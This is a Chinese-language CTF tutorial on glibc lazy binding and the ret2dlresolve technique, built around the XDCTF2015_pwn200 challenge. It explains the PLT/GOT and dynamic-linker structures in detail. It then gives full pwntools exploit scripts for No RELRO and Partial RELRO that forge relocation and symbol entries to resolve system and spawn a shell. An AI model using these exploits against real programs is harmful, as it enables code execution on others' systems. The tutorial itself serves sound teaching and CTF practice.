延遲綁定原理 與 ret2dlresolve分析
前言
漏洞的成因來自于Glibc在對重定向函數進行延遲綁定時,由于參數表被篡改導致的控制流篡改
本篇中,筆者會盡可能通過例題和實際現象來闡釋 延遲綁定的底層實現 和 ret2dlresolve
若文章存在紕漏,也歡迎師傅們捉蟲糾錯
注:筆者會盡可能從可在BUUOJ中直接啟動遠程靶機的題目作為例題,讀者可以根據實際情況自行調試
引題
內容本身或許較為晦澀,不妨先從一道簡單的棧溢出例題開始
例題來源:XDCTF2015_pwn200
(這是題目源碼鏈接,讀者可直接從這里獲取到本題的源代碼)
不過由于原題開啟了一些保護,我們先從沒有保護的情況開始分析,之后再探討保護下的情況:
gcc bof.c -o bof_no_relro_32 -fno-stack-protector -m32 -z norelro -no-pie toka@tokameinee:~/桌面/timu$ checksec bof_no_relro_32[*] '/timu/bof_no_relro_32' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
漏洞是顯然的,即便不用ret2dlresolve,通過一般的ROP鏈也能拿到shell:
void vuln(){ char buf[100]; setbuf(stdin, buf); read(0, buf, 256);}
但如果使用ret2dlresolve又該如何獲取呢?
延遲綁定原理(Lazy Binding)
可能讀者已經知道,在程序嘗試調用一些外部函數時(以read為例),會使用plt表和got表(即便不知道也沒關系)
call plt[read]jmp got[read]
但重定向函數地址之前,got表的內容實則為一個尋址函數的過程地址,不妨通過gdb動態調試一下例題程序:
先通過IDA找到plt表中write函數的地址,我們在 0x80483A0 處下一個斷點,開始調試

可以發現,程序將會進入一個名為 _dl_runtime_resolve 的函數,而不是 write
通過不同的到達方式,IDA會顯示出兩種plt的樣式:


如果write函數是第一次調用,那么將會執行
.plt:080483A0 jmp ds:off_80498D4
而0x80498D4為got表中write的地址,在完成重定向之前,0x80498D4處的值會被置為0x40483a6
因此,程序最終會執行
.plt:080483A0 jmp 0x40483a6
然后,程序會向棧中放入兩個參數,分別為 reloc_offset=0x20 與 dword ptr [GLOBAL_OFFSET_TABLE+4] 作為 函數_dl_fixup 的參數,而 函數_dl_fixup 將把write函數真正的地址寫入got表中,覆蓋當前的值,因此在下一次使用時,就會跳轉到真正的write函數地址了
注意:reloc_offset參數將在之后用于尋址
動態鏈接信息的獲取
0x8048350 push dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x80498bc> 該命令實則往棧中放入了一個名為 link_map 的結構體地址,鏈接器就是通過該結構體中的信息來完成重定位的
有幾個不可忽視的節區地址也被包含在link_map中,它們共同起效來完成整個重定位工作
.dynamic

其源碼定義為:
typedef struct{ Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un;} Elf32_Dyn;
該節區會為鏈接器提供各類地址,這里筆者摘錄部分宏定義并做翻譯以供參考
#define DT_NEEDED 1 /* 所需library的名字 */#define DT_PLTGOT 3 /* .got.plt表地址 */#define DT_STRTAB 5 /* 字符串表地址 */#define DT_SYMTAB 6 /* 符號表地址 */#define DT_INIT 12 /* 初始化代碼地址 */#define DT_FINI 13 /* 結束代碼的地址 */#define DT_REL 17 /* 重定位表地址 */#define DT_RELENT 19 /* 動態重讀位表入口數量 */#define DT_JMPREL 23 /* ELF JMPREL Relocation Table地址(got表地址) */#define DT_VERSYM 0x6ffffff0
IDA也在dynamic的每個項后標注了名稱,其中個別幾個較為關鍵:
.dynstr(DT_STRTAB)

一個字符串表,記錄了各個函數所對應的名稱
動態鏈接最終將會通過一個偏移來從該表找到目標函數的名稱,通過該名稱進行搜索函數地址
.dynsym(DT_SYMTAB)

一個Elf32_Sym結構體數組,其源碼定義如下:
typedef struct{ Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */} Elf32_Sym;
st_name字段記錄了一個相對偏移,鏈接器通過.dynstr+st_name來訪問到函數名
.rel.plt(DT_JMPREL)

源碼定義如下:
typedef struct{ Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */} Elf32_Rel;
記錄了重定向函數的got表地址及一個相對偏移
鏈接器通過DT_SYMTAB[r_info>>8]來找到對應的Elf32_Sym結構體
還記得在.plt中push入棧的 0x20 嗎?該偏移用以在該表中尋址:
&DT_JMPREL+reloc_offset=0x8048304+0x20=0x8048324,該地址對應了write函數項
link_map
link_map結構體的源碼定義有大概200行,這里就不貼出了,但我們可以通過gdb調試命令:
print *((struct link_map *)0xf7ffd940) #本地址為動態地址,讀者應根據實際自行修改
查看入棧的link_map內容
//僅貼出部分link_map內容gdb-peda$ print *((struct link_map *)0xf7ffd940)$2 = { l_addr = 0x0, l_name = 0xf7ffdc2c "", l_ld = 0x80497c4, l_next = 0xf7ffdc30, l_prev = 0x0, l_real = 0xf7ffd940, l_ns = 0x0, l_libname = 0xf7ffdc20, l_info = {0x0, 0x80497c4, 0x8049834, 0x804982c, 0x0, 0x8049804, 0x804980c, 0x0, 0x0, 0x0, 0x8049814, 0x804981c, 0x80497cc, 0x80497d4, 0x0, 0x0, 0x0, 0x804984c, 0x8049854, 0x804985c, 0x804983c, 0x8049824, 0x0, 0x8049844, 0x0, 0x80497dc, 0x80497ec, 0x80497e4, 0x80497f4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x804986c, 0x8049864, 0x0 , 0x8049874, 0x0 , 0x80497fc}, l_phdr = 0x8048034, l_entry = 0x80483c0, l_phnum = 0x8, l_ldnum = 0x0, l_searchlist = { r_list = 0xf7fd03e0, r_nlist = 0x3 }, l_symbolic_searchlist = { r_list = 0xf7ffdc1c, r_nlist = 0x0 }, l_loader = 0x0, l_versions = 0xf7fd03f0, l_nversions = 0x3, l_nbuckets = 0x2, l_gnu_bitmask_idxbits = 0x0, l_gnu_shift = 0x5, l_gnu_bitmask = 0x804819c,
附注(.got.plt)
另外還有一個節需要特別注意,即為.got.plt(以下簡稱got表)

其第一項為.DYNAMIC地址,第二項將在程序加載后被裝入link_map的地址,第三項裝入_dl_runtime_resolve 函數地址

0x8048350處,將.got.plt[1]入棧;0x8048356處,jmp .got.plt[2]
動態鏈接信息的使用
本篇,筆者僅基于實際流程說明結果。如果讀者想要更加細致的去研究其流程,可以直接閱讀_dl_runtime_resolve函數的源碼
首先,鏈接器將通過link_map->l_info獲得DT_SYMTAB、DT_STRTAB、DT_JMPREL三張表的地址
這里筆者截取部分代碼:
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
然后:
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
通過link_map->l_info獲取DT_VERSYM地址(指ELF GNU Symbol Version Table)

再然后,通過reloc->r_info獲取ndx,以其為索引獲取version(link_map->l_versions指向version表),即DT_VERSYM中對應函數的值
這里的reloc->r_info即為DT_JMPREL中,對應Elf32_Rel結構體的r_info>>8
例如本題,write將取出ndx=2,從中取出version=r_found_version[2]
gdb-peda$ print *((struct r_found_version[3] *)0xf7fd03f0)$4 = {{ name = 0x0, hash = 0x0, hidden = 0x0, filename = 0x0 }, { name = 0x0, hash = 0x0, hidden = 0x0, filename = 0x0 }, { name = 0x804829e "GLIBC_2.0", hash = 0xd696910, hidden = 0x0, filename = 0x804824d "libc.so.6" }}
之后,通過DT_SYMTAB[r_info>>8]找到DT_SYMTAB中對應的Elf32_Sym結構體,通過st_name中記錄的偏移,從(&DT_STRTAB+st_name)地址處獲取函數名,最后通過文件名找到對應的文件并將其打開,映射到進程空間中,然后再將對應函數的地址寫入DT_JMPREL表中對應項記錄的got表地址中
延遲綁定利用ret2dlresolve
上面筆者簡述了延遲綁定的流程,其中可能存在的幾個利用點:
- 篡改.DYNAMIC中的DT_STRTAB地址為某個可寫地址,就能偽造DT_STRTAB的內容(僅在NO RELRO下可用)
- 偽造DT_JMPREL并篡改.plt中push的偏移(reloc_offset,本題中write對應0x20)以提供一個更大的r_info,使得鏈接器尋址DT_SYMTAB中對應項時轉移到自己構造的結構中,使得尋址DT_STRTAB的偏移過大,溢出到可寫的地址中,及此偽造DT_STRTAB
或許還有其他方法,但本篇我們只討論上面兩種利用
NO RELRO
不妨先看第一個情況,這里筆者給出exp:
from pwn import *context.log_level="debug"
p=process("./bof_no_relro_32")elf=ELF("./bof_no_relro_32")
offset = 112dynstr = elf.get_section_by_name('.dynstr').data()#獲取DT_STRTAB字符串表dynstr = dynstr.replace("read","system")#將DT_STRTAB中的read改為systemread_plt=elf.plt["read"]bss=0x080498E0DT_STRTAB=0x08049804relro_read=0x8048376add_esp8_pop_ret=0x0804834a
payload='a'*offset #填充payload+=p32(read_plt)+p32(add_esp8_pop_ret)+p32(0)+p32(DT_STRTAB+4)+p32(4)#change to bss#第一次讀取,將DYNAMIC中記錄的DT_STRTAB地址替換道bss段payload+=p32(read_plt)+p32(add_esp8_pop_ret)+p32(0)+p32(bss)+p32(len(dynstr))#fake str table#第二次讀取:將bss段的內容替換為DT_STRTAB原本的字符串表payload+=p32(read_plt)+p32(add_esp8_pop_ret)+p32(0)+p32(bss+0x100)+p32(len("/bin/sh"))#第三次讀取:向bss+0x100處讀入“/bin/sh”payload+=p32(relro_read)#返回地址:強制重定向read函數payload+="aaaa"#填充payload+=p32(bss+0x100)#參數payload+="a"*(256-len(payload))#填充p.send(payload)
p.send(p32(bss))p.send(dynstr)p.send("/bin/sh\x00")
p.interactive()
Partial RELRO
Partial RELRO保護下,DYNAMIC節只有讀取的權限了,因此不能像上一個方法那樣直接篡改DYNAMIC節
但reloc_offset卻是通過棧傳遞的,如果我們能夠用一個很大的數替代它,就能讓鏈接器在尋址時從bss段尋找我們期望的函數
(這往往需要我們能夠極大程度地控制棧空間:首先我們需要能夠篡改返回地址;還需要偽造reloc_offset參數;然后我們還需要能夠調用類似read的函數來偽造空間,這之中還需要有足夠的溢出來傳參)
例題來源:XDCTF2015_pwn200
(該鏈接為BUU靶場題目鏈接)
這次,我們的環境與原題一樣了
[*] '/home/toka/timu/bof' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
請注意閱讀下述exp的代碼與注釋:
#########################PART 1############################from pwn import *context.log_level="debug"import sysreload(sys)sys.setdefaultencoding('utf8')#########################PART 2############################p=process("./bof")elf=ELF("./bof")libc=elf.libcp.recvuntil('Welcome to XDCTF2015~!')offset = 112#########################PART 3############################read_plt=elf.plt["read"]bss=0x0804A028pop_ebp_ret=0x0804862bleave_ret=0x8048445add_esp8_pop_ret=0x0804836astack_size=0x800base_stage=stack_size+bss#首先,我們通過棧溢出構造一個read函數與棧遷移的ROP鏈#我們將使用read向base_stage處讀入數據#并讓程序在最后ret時返回到base_stage地址處payload='a'*offsetpayload+=p32(read_plt)+p32(add_esp8_pop_ret)+p32(0)+p32(base_stage)+p32(200)payload+=p32(pop_ebp_ret)+p32(base_stage-4)+p32(leave_ret)#注意:由于leave指令,此處的地址應為base_stage-4p.sendline(payload)########################PART 4############################plt_relro=0x8048370 write_reloc_offset=0x20 DT_JMPREL=0x8048324write_got=elf.got["write"]write_info=0x607print ("r_info:"+hex(base_stage+24-DT_JMPREL))
#接著,我們構造base_stage種的數據#我們將relro_offset由0x20該為base_stage+24-DT_JMPREL#然后在DT_JMPREL+relro_offset處填入與Elf32_Rel <804A01Ch, 607h> ; R_386_JMP_SLOT write相同的內容#這樣,程序將以為我們需要重定向“write”,于是它將重定向函數,并調用write輸出“/bin/sh”payload=p32(plt_relro)+p32(base_stage+24-DT_JMPREL)payload+="aaaa"#該ROP的返回地址payload+=p32(1)+p32(base_stage+80)+p32(len("/bin/sh\x00"))#write的參數payload+=p32(write_got)+p32(write_info)#此處即為偽造的Elf32_Rel結構體payload+='a'*(80-len(payload))payload+="/bin/sh\x00" #此處用以驗證函數是否正常調用payload+='a'*(120-len(payload))p.send(payload)######################################################p.interactive()
我們發現,即便我們修改relro_offset讓程序索引到外部,只要目的地的內容是合法的,鏈接器就會正常的工作
上述的exp中,write_info=0x607對應了正確的值,鏈接器能夠用write_info>>8來獲取合適的索引,那么如果我們將這個值也拓展到bss段,那么DT_SYMTAB的尋址就也會從bss段尋找,因此就能夠偽造DT_SYMTAB中的項;再通過DT_SYMTAB中st_name的偏移來讓鏈接器從bss段尋找函數名,那么我們就能夠篡改任意函數為我們期望的函數了
那么我們只需要大膽地修改PART 4部分的代碼為:
########################PART 4############################plt_relro=0x8048370write_reloc_offset=0x20DT_JMPREL=0x8048324DT_SYMTAB=0x80481CCDT_STRTAB=0x0804826Cwrite_got=elf.got["write"]write_info=(((((base_stage+88)+(4+8)-DT_SYMTAB))<<8)/0x10)|0x7 #(4+8)為填充字符的大小,我們應該保證write_info的最后一個字節為0x07來對齊地址#可以注意到,從DT_SYMTAB:080481CC處開始,每個結構體大小均為0x10,因此我們偽造的結構體地址也應該在內存上對齊0x10
SRT_OFFSET=0x4c #現在,我們暫時先不修改st_name的偏移值r_info=(base_stage+24-DT_JMPREL)print ("write_info:"+hex(write_info))print ("r_info:"+hex(r_info))print ("SRT_OFFSET:"+hex(SRT_OFFSET))
payload=p32(plt_relro)+p32(r_info)payload+="aaaa"#ret addrpayload+=p32(1)+p32(base_stage+80)+p32(len("/bin/sh\x00"))payload+=p32(write_got)+p32(write_info)payload+='a'*(80-len(payload))payload+="/bin/sh\x00"payload+="\x00"*12payload+=p32(SRT_OFFSET)+p32(0)+p32(0)+p32(12)+p32(0)+p32(0)payload+="write\x00\x00\x000"payload+='a'*(200-len(payload))p.send(payload)
似乎我們只是篡改了write_info并偽造了一個Elf32_Sym結構體,但我們還運氣不錯地繞開了一個小問題
回顧一下_dl_fixup函數的源碼:
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);//通過l_info獲取DT_VERSYM的地址 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;//ndx為reloc->r_info,其實就是write_info>>8 version = &l->l_versions[ndx];//意為:version=&DT_VERSYM[write_info>>8] ndx=DT_VERSYM[reloc->r_info]=DT_VERSYM[write_info>>8]=&DT_VERSYM+2*rite_info>>8 我們在實際調試之前,并不清楚在篡改了write_info之后,我們獲得的ndx是多少
又因為l_versions數組只有3個元素,因此,一旦ndx的值大于2就可能會導致程序崩潰
gdb-peda$ print *((struct r_found_version[3] *)0xf7fd03f0)$4 = {{ name = 0x0, hash = 0x0, hidden = 0x0, filename = 0x0 }, { name = 0x0, hash = 0x0, hidden = 0x0, filename = 0x0 }, { name = 0x804829e "GLIBC_2.0", hash = 0xd696910, hidden = 0x0, filename = 0x804824d "libc.so.6" }}
但找到一個合適的數并不困難,我們只需要適當的為write_info加上些許偏移,然后在payload中用”\x00”填充即可
最后,我們修改SRT_OFFSET為DT_STRTAB到base_stage+88+4+8+6*4處,并在該處用”system”填充
然后把本該傳給write函數的第一個參數改為”/bin/sh”的地址,就能順利拿到shell
########################PART 4############################plt_relro=0x8048370write_reloc_offset=0x20DT_JMPREL=0x8048324DT_SYMTAB=0x80481CCDT_STRTAB=0x0804826Cwrite_got=elf.got["write"]write_info=((((base_stage+88+4+8-DT_SYMTAB))<<8)/0x10)|0x7
SRT_OFFSET=(base_stage+88+4+8+6*4)-DT_STRTABr_info=(base_stage+24-DT_JMPREL)print ("write_info:"+hex(write_info))print ("r_info:"+hex(r_info))print ("SRT_OFFSET:"+hex(SRT_OFFSET))
payload=p32(plt_relro)+p32(r_info)payload+="aaaa"#ret addrpayload+=p32(base_stage+80)+p32(base_stage+80)+p32(len("/bin/sh\x00"))payload+=p32(write_got)+p32(write_info)payload+='a'*(80-len(payload))payload+="/bin/sh\x00"payload+="\x00"*12payload+=p32(SRT_OFFSET)+p32(0)+p32(0)+p32(12)+p32(0)+p32(0)payload+="system\x00\x00"payload+='a'*(200-len(payload))p.send(payload)p.interactive()

FULL RELRO
FULL RELRO下,所有的外部函數將在加載時直接綁定,且Got表不再可寫;在Got表無法更改的情況下,我們將 沒有任何一種方法能夠讓程序執行重定向過程(當然,我們不考慮類似mProtect等情況),這種攻擊方式自然也就不成立了
對64位情況的討論
不論是32位還是64位,鏈接器的工作流程都是相似的,理論上,我們是能夠通過完全相同的流程來進行攻擊的
但64位中,地址寬度增加到了8字節,這意味著我們需要更大的緩沖區來操作我們的數據
而64位中的傳參需要通過gadget而不是直接通過棧,這意味著我們的payload長度將會增加不止一倍,棧遷移的必要性往往會更大
因此還會連鎖地導致write_info的值更加龐大;一旦這個值在無可奈何的情況下過大了,就很有可能造成 無論怎樣精心控制內存都找不到合適的地址空間獲取ndx 的情況了
一般可行的解決方法便是繞過ndx的獲取:
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
如果如下判斷語句失敗,我們就能夠成功繞過
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
我們知道l_info是link_map結構體的成員,因此我們的就應該需要先獲取link_map的地址,然后用類似read之類的方式篡改其中的l->l_info[VERSYMIDX (DT_VERSYM)]為NULL即可
另外一個需要注意的地方便是,64位程序將通過_dl_runtime_resolve_xsavec函數來完成重定位,匯編指令如下:
0x7fe74f08c8ff <_dl_runtime_resolve_xsavec+15> mov qword ptr [rsp], rax 0x7fe74f08c903 <_dl_runtime_resolve_xsavec+19> mov qword ptr [rsp + 8], rcx 0x7fe74f08c908 <_dl_runtime_resolve_xsavec+24> mov qword ptr [rsp + 0x10], rdx ? 0x7fe74f08c90d <_dl_runtime_resolve_xsavec+29> mov qword ptr [rsp + 0x18], rsi <0x600a18> 0x7fe74f08c912 <_dl_runtime_resolve_xsavec+34> mov qword ptr [rsp + 0x20], rdi 0x7fe74f08c917 <_dl_runtime_resolve_xsavec+39> mov qword ptr [rsp + 0x28], r8 0x7fe74f08c91c <_dl_runtime_resolve_xsavec+44> mov qword ptr [rsp + 0x30], r9 我們可以注意到,與32位不同,64位的重定向中,會向rsp地址出放入數據,這就有可能導致我們偽造的棧中數據被破壞
因此還需要再增加一些無用的填充字節
但這也正如我們上面討論的一樣,ret2dlresolve的利用似乎要求我們對棧有著極大的控制權時才能成立,但倘若我們能夠這樣做,那是不是常規的其他做法也一定可行呢?
只是目前筆者遇到的ret2dlresolve利用大多基于No Relro保護下,其中也有非常多其他可能的利用環境和利用方式(例如無回顯函數、可溢出字節極少等),但這需要具體例子具體分析,往往在某些地方加上限制也對應著在其他地方放開了限制
參考文章
CTF-WIKI:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/
fanyeee:https://www.4hou.com/posts/NXkp
holing:https://bbs.pediy.com/thread-227034.htm